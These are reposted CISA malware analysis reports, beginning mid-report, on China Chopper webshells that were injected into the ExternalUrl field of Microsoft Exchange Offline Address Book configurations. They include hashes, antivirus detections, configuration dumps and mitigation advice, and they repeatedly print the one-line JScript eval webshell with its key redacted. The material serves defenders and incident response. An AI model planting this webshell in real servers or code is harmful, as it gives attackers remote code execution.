–Begin webshell–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End webshell–

he hard-coded key used for authentication was redacted from the code above.

This file contains the following configuration data (sensitive data was redacted):

–Begin configuration–
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : False
MetabasePath                    : IIS[:]//[REDACTED].local/W3SVC/1/ROOT/OAB
Path                            : E:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.2 (Build 659.4)
Server                         : [REDACTED]
InternalUrl                     : hxxps://[REDACTED].local/OAB
InternalAuthenticationMethods : WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED”],”unsafe”);}</script>
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=[REDACTED],CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=local
Identity                        : MCKEX2019OAB (Default Web Site)
Guid                            : 2ffb2ea7-36b9-4ed4-9ea9-3bfa75d67947
ObjectCategory                 : [REDACTED].local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 3/4/2021 11:29:42 AM
WhenCreated                     : 3/3/2021 10:35:01 AM
WhenChangedUTC                 : 3/4/2021 4:29:42 PM
WhenCreatedUTC                 : 3/3/2021 3:35:01 PM
OrganizationId                 :
Id                             : MCKEX2019OAB (Default Web Site)
OriginatingServer             : [REDACTED]-dc1.[REDACTED].local
IsValid                         : True
–End configuration–

5e09ea8b70a386f0812a8cafb94e2d2365849ce67fda42377389f18e56d860d0

Tags

backdoor

Details

Name	supp0rt.aspx
Size	2328 bytes
Type	HTML document, ASCII text, with CRLF line terminators
MD5	b5aff5be558e41243225a3e2480fc8dc
SHA1	4bc72b82af2f455eb69e582793593db8fb03c7da
SHA256	5e09ea8b70a386f0812a8cafb94e2d2365849ce67fda42377389f18e56d860d0
SHA512	68f92197cc11748e88aa18012bdfa910e30bc2bd605ad6fe5291f3f87b5cd00f65d201b41945d9dea392f526eb5736ef5fff2d7628b7859665d01743d4eadb58
ssdeep	48:1vEsFkLavMfmrdeEC1z95QZohdoTq4ONF0qt:1vEsWLgEydeb7zNCqt
Entropy	4.763355

Antivirus

Microsoft Security Essentials	Exploit:ASP/CVE-2021-27065.B!dha

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This is file is an OAB configuration file. The configuration contains a key in the “ExternalUrl” field used for authentication. No webshell was observed in this configuration at the time of analysis.

This file contains the following configuration data (sensitive data was redacted):

–Begin configuration–
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : True
MetabasePath                    : IIS[:]//[REDACTED].local/W3SVC/1/ROOT/OAB
Path                            : E:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.2 (Build 659.4)
Server                         : MCKEX2019
InternalUrl                     : hxxps[:]//mail.[REDACTED].org/OAB
InternalAuthenticationMethods : OAuth
                                WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/[REDACTED]
ExternalAuthenticationMethods : OAuth
                                WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=[REDACTED],CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=local
Identity                        : [REDACTED]OAB (Default Web Site)
Guid                            : 5ca610e7-d5d9-4eaa-8625-76ec5e0ec867
ObjectCategory                 : [REDACTED].local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 2/27/2021 6:47:53 PM
WhenCreated                     : 6/16/2020 4:57:54 PM
WhenChangedUTC                 : 2/27/2021 11:47:53 PM
WhenCreatedUTC                 : 6/16/2020 8:57:54 PM
OrganizationId                 :
Id                             : [REDACTED]OAB (Default Web Site)
OriginatingServer             : [REDACTED]-dc1.[REDACTED].local
IsValid                         : True
–End configuration–

Mitigation

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

MAR-10329298-1.v1: China Chopper Webshell

by Scott Muniz | Mar 13, 2021 | Security, Technology

This article is contributed. See the original author and article here.

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

CISA received one file for analysis. The file appears to contain configuration data for a Microsoft Exchange Offline Address Book (OAB) Virtual Directory (VD) extracted from a Microsoft Exchange Server. The output file shows malicious modifications for the ExternalUrl parameters for the VD on the targeted Exchange Server. The ExternalUrl parameter contains a “China Chopper” webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server.

For a downloadable copy of IOCs, see: MAR-10329298-1.v1.stix.

Submitted Files (1)

bda1b5b349bfc15b20c3c9cbfabd7ae8473cee8d000045f78ca379a629d97a61 (E3MsTjP8.aspx)

Findings

bda1b5b349bfc15b20c3c9cbfabd7ae8473cee8d000045f78ca379a629d97a61

Tags

backdoor

Details

Name	E3MsTjP8.aspx
Size	2353 bytes
Type	HTML document, ASCII text, with CRLF line terminators
MD5	ed0ec81113331d241f15e2ca73de1176
SHA1	0b68b4efe6cbe1e2db940486f089be7eefae6ceb
SHA256	bda1b5b349bfc15b20c3c9cbfabd7ae8473cee8d000045f78ca379a629d97a61
SHA512	e307f966fb1bdea44adfa5939da76f40e7082cac9014d18d21ba6d4f1a60aff022885cddf0670662595dc4078d68658a925f7f59e55827ae7ba2b7037e60e600
ssdeep	48:k/U0rdlD+1Bl6KIPQZfhMK6h4ONF0qQvym:kFdA8zjNCqm
Entropy	4.617817

Antivirus

Microsoft Security Essentials	Exploit:ASP/CVE-2021-27065.B!dha
Quick Heal	CVE-2021-26855.Webshll.41350
Sophos	Troj/WebShel-L

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin code–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End code–

Note: The hard-coded key used for authentication was redacted from the code above.

This file contains the following configuration data (sensitive data was redacted):

–Begin configuration data–
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             : Default Offline Address List (Ex2013)
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : True
MetabasePath                    : IIS[:]//Saturn.city.[REDACTED].us/W3SVC/1/ROOT/OAB
Path                            : C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.1 (Build 1913.5)
Server                         : SATURN
InternalUrl                     : https://webmail.[REDACTED].org/oab
InternalAuthenticationMethods : OAuth
                                WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
ExternalAuthenticationMethods : OAuth
                                WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=SATURN,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=[Redacted],CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=city,DC=[Redacted],DC=ne,DC=us
Identity                        : SATURNOAB (Default Web Site)
Guid                            : eb5dbf58-dc00-4a8d-86a6-13903cc4c84a
ObjectCategory                 : city.[Redacted].us/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 2/28/2021 2:09:16 PM
WhenCreated                     : 9/20/2017 5:35:27 PM
WhenChangedUTC                 : 2/28/2021 8:09:16 PM
WhenCreatedUTC                 : 9/20/2017 10:35:27 PM
OrganizationId                 :
Id                             : SATURNOAB (Default Web Site)
OriginatingServer             : Police1.city.[Redacted].us
IsValid                         : True
–End configuration data–

Mitigation

If you find this webshell as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

MAR-10329297-1.v1: China Chopper Webshell

by Scott Muniz | Mar 13, 2021 | Security, Technology

This article is contributed. See the original author and article here.

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

CISA received two unique files for analysis. These files appear to contain configuration data for two different Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a Microsoft Exchange Server. Both output files show malicious modifications for the ExternalUrl parameters for these two OAB VDs on the targeted Exchange Servers. In one of the OAB VDs, the ExternalUrl parameter contains a “China Chopper” webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server. The second file is modified with an authentication key.

For a downloadable copy of IOCs, see: MAR-10329297-1.v1.stix.

Submitted Files (2)

31a750f8dbdd5bd608cfec4218ccb5a3842821f7d03d0cff9128ad00a691f4bd (2XJHwN19.aspx)

d637b9a4477778a2e32a22027a86d783e1511e999993aad7dca9b7b1b62250b8 (UwSPMsFi.aspx)

Findings

d637b9a4477778a2e32a22027a86d783e1511e999993aad7dca9b7b1b62250b8

Tags

backdoorwebshell

Details

Name	UwSPMsFi.aspx
Size	2186 bytes
Type	HTML document, ASCII text, with CRLF line terminators
MD5	78564702783ba738aa6a920f3b15a202
SHA1	a75fa74ae35ce20c9cfc273c219ef58f1c4714a6
SHA256	d637b9a4477778a2e32a22027a86d783e1511e999993aad7dca9b7b1b62250b8
SHA512	63afff12ac7cfd65ba31aad61bab534040fc3ff8b782336fcdbe171bf43f733734770c5f11bfbf9f4b5a1beaf279e8ad8d6509ff6e07b7afba098a8e6ba52a6c
ssdeep	24:kNrde9/xL+rJTh91Q/PSR6j0SzMaEVMr6j71idfhLhgupVFgdUYC2E4ONF0qp0Bz:kNrdezC1BO0KM5QZLh9pV/YE4ONF0qBW
Entropy	4.662408

Antivirus

Microsoft Security Essentials	Exploit:ASP/CVE-2021-27065.B!dha
Quick Heal	CVE-2021-26855.Webshll.41350
Sophos	Troj/WebShel-L

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in Internet Information Services (IIS) on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.

The ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin Code–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End Code–

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

31a750f8dbdd5bd608cfec4218ccb5a3842821f7d03d0cff9128ad00a691f4bd

Tags

backdoor

Details

Name	2XJHwN19.aspx
Size	2177 bytes
Type	ASCII text, with CRLF line terminators
MD5	4580f7f2f2d7ac1af26693132c2e756d
SHA1	1fead8d37f73b87ab75d0096d49b797afe7d0445
SHA256	31a750f8dbdd5bd608cfec4218ccb5a3842821f7d03d0cff9128ad00a691f4bd
SHA512	fceddb90d8a9445a726eefa6df7fe928006d6a29279138e1b7906534d3b188d08eda62a939617a7944889d8e2e160417600947f48d5704cb537e64b2523ba1a4
ssdeep	48:kNrdNC1BS67PQZLh9pVn3tE4ONF0qny/W:ktdcVM7n3mNCqny/W
Entropy	4.495728

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit a OAB VD in IIS on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The configuration has been modified with a key in the ‘ExternalUrl’ field. The key is most likely used for authentication to the server.

Mitigation

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

MAR-10329107-1.v1: China Chopper Webshell

by Scott Muniz | Mar 13, 2021 | Security, Technology

This article is contributed. See the original author and article here.

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

CISA received three files for analysis. These files appear to contain configuration data for three different Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a Microsoft Exchange Server. Two output files show malicious modifications for the ExternalUrl parameters for these two OAB VDs on the targeted Exchange Servers. In two of the OAB VDs, the ExternalUrl parameter contains a “China Chopper” webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server. The remaining configuration file does not contain a webshell in the ExternalUrl field.

For a downloadable copy of IOCs, see: MAR-10329107-1.v1.stix.

Submitted Files (3)

be17c38d0231ad593662f3b2c664b203e5de9446e858b7374864430e15fbf22d (Fc1b3WDP.aspx)

c0caa9be0c1d825a8af029cc07207f2e2887fce4637a3d8498692d37a52b4014 (discover.aspx)

d9c75da893975415663c4f334d2ad292e6001116d829863ab572c311e7edea77 (F48zhi6U.aspx)

Findings

d9c75da893975415663c4f334d2ad292e6001116d829863ab572c311e7edea77

Tags

backdoor

Details

Name	F48zhi6U.aspx
Size	2211 bytes
Type	HTML document, ASCII text, with CRLF line terminators
MD5	08a939f320ffbdb82db2d57520677725
SHA1	c3011f31d556a0b1422e78c0906406283bdfa12f
SHA256	d9c75da893975415663c4f334d2ad292e6001116d829863ab572c311e7edea77
SHA512	506236cd328d840b741cd2e80ca58b7d2815e6d1a7dfd036e19b18526b57197bf93884907909524156d8e291e78f0da8f4c56ce19ec854dc58997ac9d5c8c9f3
ssdeep	24:kNrde9Mr+rJTh91Q/PrrSE56j0SzMaEVMr6j71idfh6hlnU2E4ONF0qzdsfj:kNrdeJ1BL0KM5QZ6hlnC4ONF0qzS
Entropy	4.705811

Antivirus

Microsoft Security Essentials	Backdoor:ASP/Chopper.F!dha
Sophos	Troj/WebShel-L

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin webshell–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End webshell–

Note: The hard-coded key used for authentication was redacted from the code above.

This file contains the following configuration data (sensitive data was redacted):

–Begin configuration–
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : False
MetabasePath                    : IIS[:]//[REDACTED]-EX18.[REDACTED].local/W3SVC/1/ROOT/OAB
Path                            : C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.1 (Build 2106.2)
Server                         : [REDACTED]-EX18
InternalUrl                     : hxxps[:]//[REDACTED].local/OAB
InternalAuthenticationMethods : WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=[REDACTED]-EX18,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=[REDACTED],CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=local
Identity                        : [REDACTED]-EX18OAB (Default Web Site)
Guid                            : 14934026-b775-46ac-a6d4-884ebd8eccc0
ObjectCategory                 : [REDACTED].local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 2/28/2021 3:18:46 AM
–End configuration–

c0caa9be0c1d825a8af029cc07207f2e2887fce4637a3d8498692d37a52b4014

Tags

backdoor

Details

Name	discover.aspx
Size	2204 bytes
Type	HTML document, ASCII text, with CRLF line terminators
MD5	751a5e2e6c97f55c86cb7d4e5afb0928
SHA1	b2ce5a315c8dfdbe89b5bfa834491a71452b0c76
SHA256	c0caa9be0c1d825a8af029cc07207f2e2887fce4637a3d8498692d37a52b4014
SHA512	3ecb7044d4534db78952ab9c3c773323df6b938c246f533265b9945750043475f51fcf68904b9be98193c4fabeadc4060878172fd8caa312e3f8a6d16ff97837
ssdeep	24:kNrde9Mr+rJTh91Q/PrrSE56j0SzMaF8DVMr6j71idfh6hlTYU2E4ONF0qBfj:kNrdeJ1BL0oM5QZ6hlTYC4ONF0qZ
Entropy	4.690795

Antivirus

Microsoft Security Essentials	Backdoor:ASP/Chopper.F!dha
Sophos	Troj/WebShel-L

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange Address Lists. The OAB ExternalUrl parameter has been modified by a remote operator to contain a “China Chopper” webshell file in the ExternalUrl field, which is used to perform additional code execution.

Displayed below are the contents of the webshell in the configuration ExternalUrl field:

–Begin webshell–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End webshell–

Note: The hard-coded key used for authentication was redacted from the code above.

Displayed below are the contents of the configuration (sensitive data was redacted):

–Begin configuration–
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : False
MetabasePath                    : IIS[:]//[REDACTED]-EX18.SPMWD.local/W3SVC/1/ROOT/OAB
Path                            : C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.1 (Build 2106.2)
Server                         : [REDACTED]-EX18
InternalUrl                     : hxxps[:]//[REDACTED].local/OAB
InternalAuthenticationMethods : WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=[REDACTED]-EX18,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=[REDACTED],CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=local
Identity                        : [REDACTED]-EX18OAB (Default Web Site)
Guid                            : 7fe16dfd-4ac2-4770-b2c8-65550cee535b
ObjectCategory                 : [REDACTED].local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 3/3/2021 10:14:04 AM
WhenCreated                     : 2/28/2021 3:18:54 AM
WhenChangedUTC                 : 3/3/2021 4:14:04 PM
WhenCreatedUTC                 : 2/28/2021 9:18:54 AM
OrganizationId                 :
Id                             : [REDACTED]-EX18OAB (Default Web Site)
OriginatingServer             : [REDACTED]-DC19.[REDACTED].local
IsValid                         : True
–End configuration–

be17c38d0231ad593662f3b2c664b203e5de9446e858b7374864430e15fbf22d

Tags

backdoor

Details

Name	Fc1b3WDP.aspx
Size	2230 bytes
Type	ASCII text, with CRLF line terminators
MD5	6221e5f594a1eb04279d7e217801e90d
SHA1	34a34682efe6e9bd7102db6ab52e7bdcfb573a5d
SHA256	be17c38d0231ad593662f3b2c664b203e5de9446e858b7374864430e15fbf22d
SHA512	6afdcd18162219606c26742cc569320e5b2bf348ee8387502b8b746e69eb677a505f422c0d278b2386debdcffeea3f971270a14f8b5d522a50128978d1f9670c
